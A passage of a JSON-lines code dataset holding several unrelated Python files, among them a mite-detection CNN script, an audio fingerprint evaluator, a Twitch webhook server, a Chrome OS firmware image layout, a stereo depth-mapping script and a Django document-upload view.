mite.save_weights('MiteModelWeights57.h5')\n \n \n elif menu == 2: # Creating more background images\n inspect = miteInspectionClass('../imgs/Full5/')\n inspect.createTrainBackgroundImages('../imgs/DustEvenMore3/', prefix='DirtC', filetype='.png', centerSize=80);\n\n ###################################################################################\n # Best reference for test\n \n elif menu == 3: # Best CNN segmentation 10 F1-Score: 0.794912559618442\n mite = miteModelClass()\n mite.compile_CNN_model()\n mite.load_weights(miteModel)\n inspect = miteInspectionClass('../imgs/secondIt/', mite)\n inspect.inspectImages()\n\n elif menu == 4: # Best FCN segmentation 14 F1-Score: 0.7804878048780487\n mite = miteModelClass()\n mite.create_FCN_model(miteModel, 80, 80) # Image height and width\n mite.show_plots = True\n inspect = miteInspectionClass('../imgs/secondIt/', mite)\n inspect.segmentImages(threshold=2, label=False, save=False) #Thredshold 5.h5,15 - 4.h5,12 (Best) - 2.h5,20\n\n ###################################################################################\n # FCN Segmentation and labling\n\n elif menu == 11: # FCN segmentation on Full1\n mite = miteModelClass()\n mite.create_FCN_model(miteModel, 4608, 3456) # Image height and width\n mite.show_plots = True\n inspect = miteInspectionClass('../imgs/Full1/', mite)\n inspect.segmentImages(printRes=False) #Thredshold 5.h5,15 - 4.h5,12 (Best) - 2.h5,20\n inspect.printFeatures()\n\n elif menu == 12: # FCN segmentation on Full2\n mite = miteModelClass()\n mite.create_FCN_model(miteModel, 3840, 5120) # Image height and width\n mite.show_plots = True\n inspect = miteInspectionClass('../imgs/Full2/', mite)\n inspect.segmentImages(printRes=False) #Thredshold 5.h5,15 - 4.h5,12 (Best) - 2.h5,20\n inspect.printFeatures()\n\n elif menu == 13: # FCN segmentation on Full3\n mite = miteModelClass()\n mite.create_FCN_model(miteModel, 3456, 4608) # Image height and width\n mite.show_plots = True\n inspect = miteInspectionClass('../imgs/Full3/', mite)\n inspect.segmentImages(printRes=False) #Thredshold 5.h5,15 - 4.h5,12 (Best) - 2.h5,20\n inspect.printFeatures()\n\n ###################################################################################\n # CNN validation of reference test precistion, recall and F1-Score\n \n else: # Inspection of images using CNN model, reference test like menu=3\n mite = miteModelClass()\n mite.compile_CNN_model()\n mite.load_weights(miteModel)\n inspect = miteInspectionClass('../imgs/secondIt/', mite)\n inspect.inspectImages()\n\n \n\n\n \n\n","sub_path":"src/mitesMain.py","file_name":"mitesMain.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"26698882","text":"import json\nimport pytest\nfrom azure.core.exceptions import HttpResponseError\nfrom azure.ai.ml._utils._registry_utils import _get_registry_discovery_uri\nfrom pytest_mock import MockFixture\nfrom azure.ai.ml._restclient.registry_discovery import AzureMachineLearningWorkspaces as ServiceClientRegistryDiscovery\n\n\n@pytest.mark.unittest\ndef test_construct_mfe_uri_success(\n mocker: MockFixture, mock_registry_discovery_client: ServiceClientRegistryDiscovery\n) -> None:\n mock_response = json.dumps(\n {\n \"registryName\": \"testFeed\",\n \"primaryRegionResourceProviderUri\": \"https://cert-master.experiments.azureml-test.net/\",\n }\n )\n mocker.patch(\n \"azure.ai.ml._restclient.registry_discovery.operations._registry_management_non_workspace_operations.RegistryManagementNonWorkspaceOperations.registry_management_non_workspace\",\n return_val=mock_response,\n )\n uri = _get_registry_discovery_uri(mock_registry_discovery_client, \"testFeed\")\n assert (uri, \"https://cert-master.experiments.azureml-test.net/\") is not None\n\n\n@pytest.mark.unittest\ndef test_construct_mfe_uri_error(\n mocker: MockFixture, mock_registry_discovery_client: ServiceClientRegistryDiscovery\n) -> None:\n mock_error = HttpResponseError(response=mocker.patch(\"azure.core.pipeline.HTTPResponseType\"))\n mocker.patch(\n \"azure.ai.ml._restclient.registry_discovery.operations._registry_management_non_workspace_operations.RegistryManagementNonWorkspaceOperations.registry_management_non_workspace\",\n side_effect=mock_error,\n )\n with pytest.raises(HttpResponseError):\n _get_registry_discovery_uri(mock_registry_discovery_client, \"testFeed\")\n","sub_path":"sdk/ml/azure-ai-ml/tests/internal_utils/unittests/test_registry_utils.py","file_name":"test_registry_utils.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"260669106","text":"import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\n\ndef smooth(arr, window=50):\n arr = np.asarray(arr)\n out = np.zeros_like(arr)\n for i in range(len(out)):\n out[i] = np.mean(arr[max(i - window, 0): i + 1])\n return out\n\n\nif __name__ == \"__main__\":\n metric_path = sys.argv[1]\n metrics = torch.load(metric_path)\n episode_length = metrics['episode_length'][1:]\n episode_reward = metrics['episode_reward'][1:]\n smoothed_length = smooth(episode_length)\n smoothed_reward = smooth(episode_reward)\n fig, ax = plt.subplots(1, 2)\n ax[0].plot(np.cumsum(episode_length), smoothed_length)\n ax[0].set_xlabel(\"Total timesteps\")\n ax[0].set_ylabel(\"Mean episode length\")\n ax[0].grid()\n ax[1].plot(np.cumsum(episode_length), smoothed_reward)\n ax[1].set_xlabel(\"Total timesteps\")\n ax[1].set_ylabel(\"Mean episode reward\")\n ax[1].grid()\n plt.show()\n","sub_path":"plot_episode_length.py","file_name":"plot_episode_length.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"266781156","text":"import requests\nimport json\n\n\nuser_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'\ncookie = '$COOKIE_STRING'\n\nurl = \"https://leetcode.com/api/problems/all/\"\n\nheaders = {'user-agent': user_agent, 'Connection': 'keep-alive', 'cookie': cookie}\nresp = requests.Session().get(url, headers = headers, timeout = 10)\n\nquestion_list = json.loads(resp.content.decode('utf-8'))\nf = open('get_ac.sh', 'w')\n\nfor question in question_list['stat_status_pairs']:\n if question[\"status\"] == \"ac\":\n \tstr1 = \"leetcode submission {} -o submission/ \\n\".format(question['stat'][\"frontend_question_id\"])\n \tstr2 = \"sleep 5s\\n\"\n \tf.write(str1)\n \tf.write(str2)\nf.close()\n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"386808882","text":"import argparse\r\nimport sys\r\nimport os\r\nimport pickle\r\nimport faiss\r\n\r\nimport torch\r\nimport copy\r\nimport numpy as np\r\n\r\nfrom Model import SimSiam\r\nfrom DataLoader_1channel import SpecData\r\nfrom tqdm.auto import tqdm\r\nfrom torch.utils.data import DataLoader as Dataloader\r\nfrom sklearn import preprocessing\r\n\r\ndef autoL1L2(data, norms = 'l2'):\r\n '''L1或者L2正则化'''\r\n return preprocessing.normalize(data, norm = norms)\r\n\r\ndef ensureFolderExists(pth):\r\n if not os.path.exists(pth):\r\n os.makedirs(pth)\r\n\r\ndef stackFingerprint(fingerprint_bank):\r\n fingerprint_bank = np.asarray(fingerprint_bank)\r\n fingerprint_bank = np.vstack(fingerprint_bank)\r\n print(fingerprint_bank.shape)\r\n return fingerprint_bank\r\n\r\ndef stackInfo(info_lis):\r\n info = []\r\n for i in range(len(info_lis)):\r\n for j in range(len(info_lis[i][0])):\r\n info.append((info_lis[i][0][j],info_lis[i][1][j].item()))\r\n return info\r\n\r\ndef readPkl(pklPath):\r\n with open(pklPath, \"rb\") as fp:\r\n lis = pickle.load(fp) \r\n return lis\r\n\r\ndef savePkl(lis, pklPath):\r\n with open(pklPath, \"wb\") as fp:\r\n pickle.dump(lis, fp)\r\n\r\ndef fingerprinter(model, fpPath, infoPath):\r\n if not os.path.exists(fpPath) and not os.path.exists(infoPath): \r\n test_data = SpecData(\"test\")\r\n test_dataloader = Dataloader(test_data,\r\n batch_size = 16,\r\n shuffle =False,\r\n num_workers = 0)\r\n\r\n fingerprint_bank = []\r\n info_lis = []\r\n # cnt = 0\r\n for (spec, info) in tqdm(test_dataloader):\r\n # cnt += 1\r\n # if cnt == 10:\r\n # break\r\n embed = model.encode(spec)\r\n \r\n embed = embed.detach().numpy()\r\n embed = autoL1L2(embed)\r\n fingerprint_bank.append(embed)\r\n info_lis.append(info)\r\n # save for visualization afterwards\r\n savePkl(fingerprint_bank, fpPath)\r\n savePkl(info_lis, infoPath)\r\n else:\r\n fingerprint_bank = readPkl(fpPath)\r\n info_lis = readPkl(infoPath)\r\n\r\n return fingerprint_bank, info_lis\r\n\r\ndef prepareTestFp(model, snr, checkPath):\r\n recog_data = SpecData(\"recognize\", snr=snr)\r\n recog_dataloader = Dataloader(recog_data,\r\n batch_size = 16,\r\n shuffle =False,\r\n num_workers = 0)\r\n\r\n query_fp = []\r\n info_query_lis = []\r\n # cnt = 0\r\n for (spec, info) in tqdm(recog_dataloader):\r\n # cnt += 1\r\n # if cnt == 10:\r\n # break\r\n embed = model.encode(spec)\r\n embed = embed.detach().numpy()\r\n embed = autoL1L2(embed)\r\n\r\n query_fp.append(embed)\r\n info_query_lis.append(info)\r\n\r\n savePkl(info_query_lis, checkPath)\r\n return query_fp, info_query_lis\r\n\r\ndef recognizer(dbFpPair, testFpPair, resPath):\r\n fingerprint_bank, info_lis = dbFpPair\r\n query_fp, info_query_lis = testFpPair\r\n info_lis = stackInfo(info_lis)\r\n info_query_lis = stackInfo(info_query_lis)\r\n\r\n d = 256\r\n index = faiss.IndexFlatL2(d) # build the index\r\n index.add(stackFingerprint(fingerprint_bank))\r\n k = 4\r\n D, I = index.search(stackFingerprint(query_fp), k)\r\n \r\n cnt1 = 0\r\n cnt2 = 0\r\n \r\n for ii in range(len(info_query_lis)):\r\n search_id = I[ii][0]\r\n search_song = info_lis[search_id]\r\n real_song = info_query_lis[ii]\r\n # print(search_song, real_song)\r\n if search_song[0] == real_song[0]:\r\n cnt1 += 1\r\n if search_song[0] == real_song[0] and search_song[1] == real_song[1]:\r\n cnt2 += 1\r\n \r\n with open(resPath, 'w') as fp:\r\n fp.write(str(cnt1) + ' ' + str(cnt2) + ' ' + str(len(info_query_lis)))\r\n \r\nif __name__ == \"__main__\":\r\n torch.multiprocessing.set_sharing_strategy('file_system')\r\n\r\n parser = argparse.ArgumentParser(description='Create fingerprint database and test accuracy')\r\n parser.add_argument('snr', type=str, help='3, 10, 20')\r\n parser.add_argument('modelPath', type=str, help='Path of the model.')\r\n parser.add_argument('saveDir', type=str, help='Path to save the result.')\r\n\r\n args = parser.parse_args()\r\n \r\n model = SimSiam(\r\n latent_dim=256,\r\n proj_hidden_dim=256,\r\n pred_hidden_dim=128\r\n )\r\n \r\n # model.load_state_dict(args.modelPath)\r\n model.encoder.load_state_dict(torch.load(args.modelPath))\r\n # device = torch.device('cpu')\r\n # model = model.to(device)\r\n # model.load_state_dict(torch.load(args.modelPath))\r\n # model.load_state_dict(torch.load(args.modelPath), map_location=device)\r\n model.eval()\r\n\r\n save_time = args.modelPath.split('/')[-2].split('.')[0]\r\n epoch = args.modelPath.split('/')[-1].split('.')[0].split('_')[1]\r\n\r\n rt_dir = os.path.join(args.saveDir, save_time + '_' + epoch)\r\n fpPath = os.path.join(rt_dir, 'fingerprint.pkl')\r\n infoPath = os.path.join(rt_dir, 'info.pkl')\r\n resPath = os.path.join(rt_dir, args.snr + '_' + 'res.txt')\r\n checkPath = os.path.join(rt_dir, 'debug.pkl')\r\n\r\n ensureFolderExists(args.saveDir)\r\n ensureFolderExists(rt_dir)\r\n\r\n dbFpPair = fingerprinter(model, fpPath, infoPath)\r\n testFpPair = prepareTestFp(model, args.snr, checkPath)\r\n\r\n recognizer(dbFpPair, testFpPair, resPath)","sub_path":"test_vgg11.py","file_name":"test_vgg11.py","file_ext":"py","file_size_in_byte":5422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"214745487","text":"import socket\nimport time\nimport json\nimport hmac\nimport hashlib\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse\nimport client\n\nhostName = \"0.0.0.0\"\nhostPort = 8000\nnew_followers_of = \"some_twitch_user\"\n\n\nclass MyServer(BaseHTTPRequestHandler):\n\n def do_GET(self): \n query = urlparse(self.path).query\n try:\n query_components = dict(qc.split(\"=\") for qc in query.split(\"&\"))\n challenge = query_components[\"hub.challenge\"]\n except:\n query_components = None\n challenge = None \n \n if challenge:\n s = ''.join(x for x in challenge if x.isdigit())\n print (s)\n print (challenge)\n self.send_response(200,None)\n self.end_headers();\n self.wfile.write(bytes(challenge, \"utf-8\"))\n else:\n self.send_response(200,None)\n self.end_headers();\n self.wfile.write(bytes(\"Hello Stranger :)\", \"utf-8\"))\n\n\n def do_POST(self): \n if 'Content-Length' in self.headers:\n content_length = int(self.headers['Content-Length'])\n post_data = self.rfile.read(content_length)\n if 'Content-Type' in self.headers:\n content_type = str(self.headers['Content-Type'])\n if 'X-Hub-Signature' in self.headers: \n hub_signature = str(self.headers['X-Hub-Signature'])\n algorithm, hashval = hub_signature.split('=')\n print(hashval)\n print(algorithm)\n sec = client.secret\n if post_data and algorithm and hashval:\n gg = hmac.new(sec.encode(), post_data, algorithm)\n if not hmac.compare_digest(hashval.encode(), gg.hexdigest().encode()):\n raise ConnectionError(\"Hash missmatch.\") \n\n if content_length is None or content_type is None or hub_signature is None:\n raise ValueError(\"not all headers supplied.\")\n \n if post_data:\n j = json.loads(post_data)\n userid = (j[\"data\"][0][\"from_id\"])\n print(userid)\n print(self.headers)\n print(content_length)\n print(post_data)\n print(len(post_data))\n self.send_response(200)\n self.end_headers()\n #print(\"new follower: \"+client.get_twitch_username(userid))\n\n\ntwitchId = client.get_twitch_userid(new_followers_of)\nclient.suscribe_to_get_followers(twitchId)\n\nmyServer = HTTPServer((hostName, hostPort), MyServer)\nprint(time.asctime(), \"Server Starts - %s:%s\" % (hostName, hostPort))\n\ntry:\n myServer.serve_forever()\nexcept KeyboardInterrupt:\n pass\n\nmyServer.server_close()\nprint(time.asctime(), \"Server Stops - %s:%s\" % (hostName, hostPort))\n","sub_path":"py/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"110380268","text":"# Copyright 2016 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport os\n\nfrom imagelib.components.Area import Area\nfrom imagelib.components.Dcdir import \\\n Region, Directory, RootDirectory, DirectoryTable\nfrom imagelib.components.File import File\nfrom imagelib.components.Fwid import Fwid\nfrom imagelib.components.Fsp import Fsp\nfrom imagelib.components.Gbb import Gbb\nfrom imagelib.components.Ifd import Ifd\nfrom imagelib.components.Sha256 import Sha256\nfrom imagelib.components.Vblock import Vblock\nfrom imagelib.components.X86 import Reljump\nfrom imagelib.components.Xip import Xip\nfrom imagelib.util import KB, MB, GB\n\ndef _dict_to_dir(d, leaf=lambda x: File(x)):\n \"\"\"Expand a nested dictionary into a dcdir directory.\"\"\"\n ret = []\n for name, entry in sorted(d.iteritems()):\n if isinstance(entry, dict):\n sub_entries = _dict_to_dir(entry, leaf)\n ret.append(Directory(name, *sub_entries).shrink())\n else:\n ret.append(Region(name, leaf(entry)).shrink())\n return ret\n\nclass RwArea(Directory):\n \"\"\"An RW section of the image\"\"\"\n def __init__(self, rw_name, model, signed_files, verified_files):\n vblock = Vblock()\n\n signed = []\n unsigned = []\n\n # Signed files are entirely in the area signed by the vblock. They\n # are definitely required for boot, and so loading/hashing them\n # seperately doesn't save any work and makes things more complicated.\n signed += _dict_to_dir(signed_files)\n\n # Files which are just verified (a slight abuse of terminology) have\n # their hash signed, but the data itself is not loaded or hashed\n # until and if it's needed. This saves a lot of access to the flash\n # and hashing of data if a component might not actually be used on\n # a particular boot.\n signed += _dict_to_dir(verified_files,\n leaf=lambda x: Sha256(File(x)))\n unsigned += _dict_to_dir(verified_files)\n\n # Because python won't let us put the FWID after expanding unsigned,\n # we have to lump it into the unsigned list.\n unsigned.append(Region(\"FWID\", Fwid(model)).shrink())\n\n # Data in an RW area is structured as follows:\n # VBLOCK - a region which contains the vblock\n # VERIFIED - a directory which contains all signed data/hashes. A hash\n # of a file is stored with the same name as the file itself.\n # [various] - the verified files\n # FWID - the ID of this RW firmware version\n super(RwArea, self).__init__(rw_name,\n Region(\"VBLOCK\", vblock).shrink(),\n vblock.signed(\n Directory(\"VERIFIED\", *signed).shrink()\n ).shrink(),\n *unsigned\n )\n self.expand()\n\nclass Image(RootDirectory):\n def __init__(self, paths, model, size, hwid, gbb_flags=None,\n ecs=[], spds={}):\n # The main firmware blob which starts RW execution and the Intel\n # reference code are necessarily used during an RW boot.\n signed = {\n \"MAIN\": paths[\"dc_bin\"],\n }\n # The EC images (main EC and PD RW firmwares, for instance) are used\n # if those components need to be updated or their RW image has been\n # damaged somehow.\n verified = {\n \"EC\": {\n str(idx): os.path.join(name, \"ec.RW.bin\")\n for idx, name in enumerate(ecs)\n }\n }\n\n backjump = Reljump()\n dcdir_table = DirectoryTable()\n fsp = Fsp(File(paths[\"fsp\"]))\n image_base = 4 * GB - size\n microcode = File(paths[\"microcode\"])\n xip_entry = Xip(File(paths[\"entry\"])).image_base(image_base)\n\n si_bios = Area(\n Directory(\"RW\",\n Region(\"MRCCACHE\").size(64 * KB),\n Directory(\"SCRATCH\").size(16 * KB),\n Region(\"VPD\").size(8 * KB),\n RwArea(\"A\", model, signed, verified).expand(),\n RwArea(\"B\", model, signed, verified).expand()\n ).size(size / 2),\n dcdir_table,\n Directory(\"RO\",\n Region(\"GBB\",\n Gbb(hwid=Gbb.hwid(hwid), flags=gbb_flags).expand()\n ).expand(),\n Region(\"VPD\").size(16 * KB),\n Region(\"FWID\", Fwid(model)).shrink(),\n Directory(\"SPD\",\n *_dict_to_dir(spds)\n ).shrink(),\n Directory(\"FIRMWARE\",\n Region(\"FW SEL\", File(paths[\"fw sel\"])).shrink(),\n Region(\"U_CODE\", microcode).shrink(),\n Region(\"FSP\", fsp).shrink(),\n backjump.target_marker(),\n Region(\"ENTRY\", xip_entry).shrink()\n ).shrink(),\n Area(backjump).size(0x10).fill(0x00)\n ).expand(),\n ).expand()\n\n si_me = Region(\"ME\", File(paths[\"me\"])).expand()\n si_desc = Region(\"IFD_DESC\", File(paths[\"ifd\"])).expand()\n\n ifd = Ifd(si_desc).expand()\n ifd.region(\"me\", si_me)\n ifd.region(\"bios\", si_bios)\n\n self._dcdir_table = dcdir_table\n self._fsp = fsp\n self._image_base = image_base\n self._microcode = microcode\n self._xip_entry = xip_entry\n\n super(Image, self).__init__(ifd)\n self.big_pointer()\n self.size(size)\n\n def post_place_hook(self):\n # Once we know where the FSP is going to be, prepare to set it up to\n # work at the new location. The actual relocation will happen when\n # the fsp is written into the image.\n fsp_base = self._image_base + self._fsp.placed_offset\n self._fsp.base_address(fsp_base)\n\n # Once we know where the base dcdir table will be, set a symbol to\n # its address in the real mode entry point.\n anchor_addr = self._image_base + self._dcdir_table.placed_offset\n self._xip_entry.symbols_add(dcdir_anchor_addr=anchor_addr,\n rom_image_base=self._image_base)\n\n # Also plug in the location of the microcode binary so it can be\n # passed to the FSP.\n microcode_addr = self._image_base + self._microcode.placed_offset\n microcode_size = self._microcode.placed_size\n self._xip_entry.symbols_add(microcode_addr=microcode_addr,\n microcode_size=microcode_size)\n\n\ndef add_arguments(parser):\n parser.add_argument('--serial', dest='serial', action='store_true',\n default=False, help='Enable serial output')\n\n group = parser.add_mutually_exclusive_group()\n group.add_argument('--dev', dest='dev', action='store_true', default=False,\n help='Enable developer friendly gbb flags')\n\n group.add_argument('--netboot', dest='netboot', action='store_true',\n default=False, help='Build a netbooting image')\n\n parser.add_argument('--size', dest='size', required=True, type=int,\n help='Size of the image in KB')\n\n parser.add_argument('--model', dest='model', required=True,\n help='Model name to use in firmware IDs')\n\n parser.add_argument('--ecs', dest='ecs', default=None,\n help=('Images for devices which support ' +\n 'EC software sync'))\n\n parser.add_argument('--spds', dest='spds', default=None,\n help='A list of SPD files which will be stored in ' +\n 'the image. They should be in name:path pairs ' +\n 'seperated by \\',\\'s, where name is the name ' +\n 'that will appear in the dcdir, and path is ' +\n 'the path to the binary file with the SPD data.')\n\n parser.add_argument('--hwid', dest='hwid', required=True,\n help='Hardware ID to put in the GBB')\n\ndef prepare(options):\n gbb_flags = None\n paths = {\n \"dc_bin\": \"cb_payload.payload\",\n \"entry\": \"fsp_v1_1_entry.mod\",\n \"entry_trampoline\": \"fsp_v1_1_entry.trampoline\",\n \"fw sel\": \"fsp_v1_1_fw_sel.bin\",\n \"fsp\": \"FSP.fd\",\n \"ifd\": \"descriptor.bin\",\n \"me\": \"me.bin\",\n \"microcode\": \"microcode.bin\",\n }\n\n if options.dev or options.netboot:\n gbb_flags = (\n Gbb.DevScreenShortDelay |\n Gbb.ForceDevSwitchOn |\n Gbb.ForceDevBootUsb |\n Gbb.DisableFwRollbackCheck\n )\n\n if options.dev:\n paths.update({\n \"dc_bin\": \"cb_dev.payload\",\n })\n\n if options.netboot:\n paths.update({\n \"dc_bin\": \"cb_netboot.payload\",\n })\n\n if options.serial:\n pass\n\n ecs = options.ecs.split(',') if options.ecs else []\n pairs = [pair.split(':') for pair in options.spds.split(',')]\n spds = { name: path for name, path in pairs }\n hwid = options.hwid\n\n return Image(paths=paths, model=options.model, size=options.size * KB,\n gbb_flags=gbb_flags, ecs=ecs, spds=spds, hwid=hwid)\n","sub_path":"src/image/imagelib/layout/fsp_v1_1.py","file_name":"fsp_v1_1.py","file_ext":"py","file_size_in_byte":9669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"628520502","text":"# ▄▀▄ ▄▀▄\n# ▄█░░▀▀▀▀▀░░█▄\n# ▄▄ █░░░░░░░░░░░█ ▄▄\n#█▄▄█ █░░▀░░┬░░▀░░█ █▄▄█\n\n###################################\n##### Authors: #####\n##### Stephane Vujasinovic #####\n##### Frederic Uhrweiller ##### \n##### #####\n##### Creation: 2017 #####\n###################################\n\n\n#***********************\n#**** Main Programm ****\n#***********************\n\n\n# Package importation\nimport time\nimport numpy as np\nimport cv2\nfrom sklearn.preprocessing import normalize\nfrom stereo_camera import *\nfrom stereo_calib import *\n\ndef coords_mouse_disp(event,x,y,flags,param):\n if event == cv2.EVENT_LBUTTONDBLCLK:\n #print x,y,disp[y,x],filteredImg[y,x]\n average=0\n for u in range (-1,2):\n for v in range (-1,2):\n average += disp[y+u,x+v]\n average=average/9\n Distance= -593.97*average**(3) + 1506.8*average**(2) - 1373.1*average + 522.06\n Distance= np.around(Distance*0.01,decimals=2)\n print('Distance: '+ str(Distance)+' m')\n \n\nif __name__ == \"__main__\":\n\n #***** Doing Stereo Calibration *****\n #*******************************************\n\n print(\"performing stereo calibration...\")\n Left_Stereo_Map, Right_Stereo_Map = stereo_calib()\n print(\"finished stereo calibration..\")\n \n #***** Parameters for the StereoVision *****\n #*******************************************\n # Create StereoSGBM and prepare all parameters\n window_size = 3\n min_disp = 2\n num_disp = 130-min_disp\n stereo = cv2.StereoSGBM_create(minDisparity = min_disp,\n numDisparities = num_disp,\n blockSize = window_size,\n uniquenessRatio = 10,\n speckleWindowSize = 100,\n speckleRange = 32,\n disp12MaxDiff = 5,\n P1 = 8*3*window_size**2,\n P2 = 32*3*window_size**2)\n\n \n # Filtering\n # Used for the filtered image\n #stereoR=cv2.ximgproc.createRightMatcher(stereo) # Create another stereo for right this time\n\n # WLS FILTER Parameters\n #lmbda = 80000\n #sigma = 1.8\n #visual_multiplier = 1.0\n\n #wls_filter = cv2.ximgproc.createDisparityWLSFilter(matcher_left=stereo)\n #wls_filter.setLambda(lmbda)\n #wls_filter.setSigmaColor(sigma)\n\n #***** Initialize cameras and event loops *****\n #*******************************************\n kernel= np.ones((3,3),np.uint8)\n cams = stereo_camera()\n cv2.namedWindow(\"CSI Cameras\", cv2.WINDOW_AUTOSIZE)\n\n frame_rate = 0.5 # yep... Best Jetson Nano can do without crashing for 540*960 image size\n prev = 0\n\n while cv2.getWindowProperty(\"CSI Cameras\", 0) >= 0 :\n #***** Initialize cameras and event loops *****\n #*******************************************\n \n time_elapsed = time.time() - prev\n \n _, frameR= cams.right_camera.read()\n _, frameL= cams.left_camera.read()\n cv2.imshow(\"CSI Cameras\", frameR)\n\n if time_elapsed > 1./frame_rate:\n prev = time.time()\n\n #***** Start Image Processing *****\n #*******************************************\n \n\n # Rectify the images on rotation and alignement\n Left_nice= cv2.remap(frameL,Left_Stereo_Map[0],Left_Stereo_Map[1], cv2.INTER_LANCZOS4, cv2.BORDER_CONSTANT, 0) # Rectify the image using the kalibration parameters founds during the initialisation\n Right_nice= cv2.remap(frameR,Right_Stereo_Map[0],Right_Stereo_Map[1], cv2.INTER_LANCZOS4, cv2.BORDER_CONSTANT, 0)\n\n ## # Draw Red lines\n ## for line in range(0, int(Right_nice.shape[0]/20)): # Draw the Lines on the images Then numer of line is defines by the image Size/20\n ## Left_nice[line*20,:]= (0,0,255)\n ## Right_nice[line*20,:]= (0,0,255)\n ##\n ## for line in range(0, int(frameR.shape[0]/20)): # Draw the Lines on the images Then numer of line is defines by the image Size/20\n ## frameL[line*20,:]= (0,255,0)\n ## frameR[line*20,:]= (0,255,0) \n \n # Show the Undistorted images\n #cv2.imshow('Both Images', np.hstack([Left_nice, Right_nice]))\n #cv2.imshow('Normal', np.hstack([frameL, frameR]))\n\n # Convert from color(BGR) to gray\n grayR= cv2.cvtColor(Right_nice,cv2.COLOR_BGR2GRAY)\n grayL= cv2.cvtColor(Left_nice,cv2.COLOR_BGR2GRAY)\n\n # Compute the 2 images for the Depth_image\n disp= stereo.compute(grayL,grayR)#.astype(np.float32)/ 16\n dispL= disp\n # dispR= stereoR.compute(grayR,grayL)\n dispL= np.int16(dispL)\n # dispR= np.int16(dispR)\n\n\n #filteredImg= wls_filter.filter(dispL,grayL,None,dispR)\n #filteredImg = cv2.normalize(src=filteredImg, dst=filteredImg, beta=0, alpha=255, norm_type=cv2.NORM_MINMAX);\n #filteredImg = np.uint8(filteredImg)\n #cv2.imshow('Disparity Map', filteredImg)\n\n cv2.imshow('Disparity Map', dispL)\n disp= ((disp.astype(np.float32)/ 16)-min_disp)/num_disp # Calculation allowing us to have 0 for the most distant object able to detect\n\n ## # Resize the image for faster executions\n ## dispR= cv2.resize(disp,None,fx=0.7, fy=0.7, interpolation = cv2.INTER_AREA)\n\n # Filtering the Results with a closing filter\n closing= cv2.morphologyEx(disp,cv2.MORPH_CLOSE, kernel) # Apply an morphological filter for closing little \"black\" holes in the picture(Remove noise) \n\n # Colors map\n dispc= (closing-closing.min())*255\n dispC= dispc.astype(np.uint8) # Convert the type of the matrix from float32 to uint8, this way you can show the results with the function cv2.imshow()\n disp_Color= cv2.applyColorMap(dispC,cv2.COLORMAP_OCEAN) # Change the Color of the Picture into an Ocean Color_Map\n #filt_Color= cv2.applyColorMap(filteredImg,cv2.COLORMAP_OCEAN) \n\n # Show the result for the Depth_image\n #cv2.imshow('Disparity', disp)\n #cv2.imshow('Closing',closing)\n cv2.imshow('Color Depth',disp_Color)\n #cv2.imshow('Filtered Color Depth',filt_Color)\n\n # Mouse click\n #cv2.setMouseCallback(\"Filtered Color Depth\",coords_mouse_disp,filt_Color)\n \n # End the Programme\n if cv2.waitKey(1) & 0xFF == ord(' '):\n break\n\n\n \n\n\n cams.stop_stereo_camera()","sub_path":"stereo_vision.py","file_name":"stereo_vision.py","file_ext":"py","file_size_in_byte":6656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"167718575","text":"from appsindico.core.models import Condominium\nfrom appsindico.documents.forms import UploadDocumentForm\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.shortcuts import render\nfrom appsindico.documents.models import Document\nfrom django.shortcuts import resolve_url as r\nfrom django.template.defaultfilters import filesizeformat\n\n\ndef documents_list(request):\n condominium_informations = Condominium.objects.filter()\n documents = Document.objects.filter()\n return render(request, 'documents/documents_list.html',\n {'condominium_informations': condominium_informations,\n 'documents': documents})\n\n\ndef document_upload(request):\n if request.method == 'POST':\n return create(request)\n return empty_form(request)\n\n\ndef empty_form(request):\n condominium_informations = Condominium.objects.filter()\n info_size_files = [(sum_files_size())]\n return render(request, 'documents/new_document_form.html',\n {\n 'form': UploadDocumentForm(),\n 'condominium_informations': condominium_informations,\n 'info_size_files': info_size_files\n })\n\ndef create(request):\n\n form = UploadDocumentForm(request.POST or None, request.FILES or None)\n\n if not form.is_valid():\n condominium_informations = Condominium.objects.filter()\n info_size_files = [(sum_files_size())]\n return render(request, 'documents/new_document_form.html',\n {\n 'form': form,\n 'condominium_informations': condominium_informations,\n 'info_size_files': info_size_files\n })\n\n instance = form.save(commit=False)\n print(sum_files_size())\n instance.save()\n # message success\n messages.success(request, 'Documento enviado com sucesso')\n return HttpResponseRedirect(r('documents:documents_control'))\n\ndef sum_files_size():\n files_list = Document.objects.all()\n size_sum = 0\n for file_size in files_list:\n print(file_size.file.size)\n size_sum += file_size.file.size\n\n return filesizeformat(size_sum), filesizeformat(settings.LIMIT_STORAGE_SIZE)\n\n\ndef documents_control(request):\n\n condominium_informations = Condominium.objects.filter()\n documents = 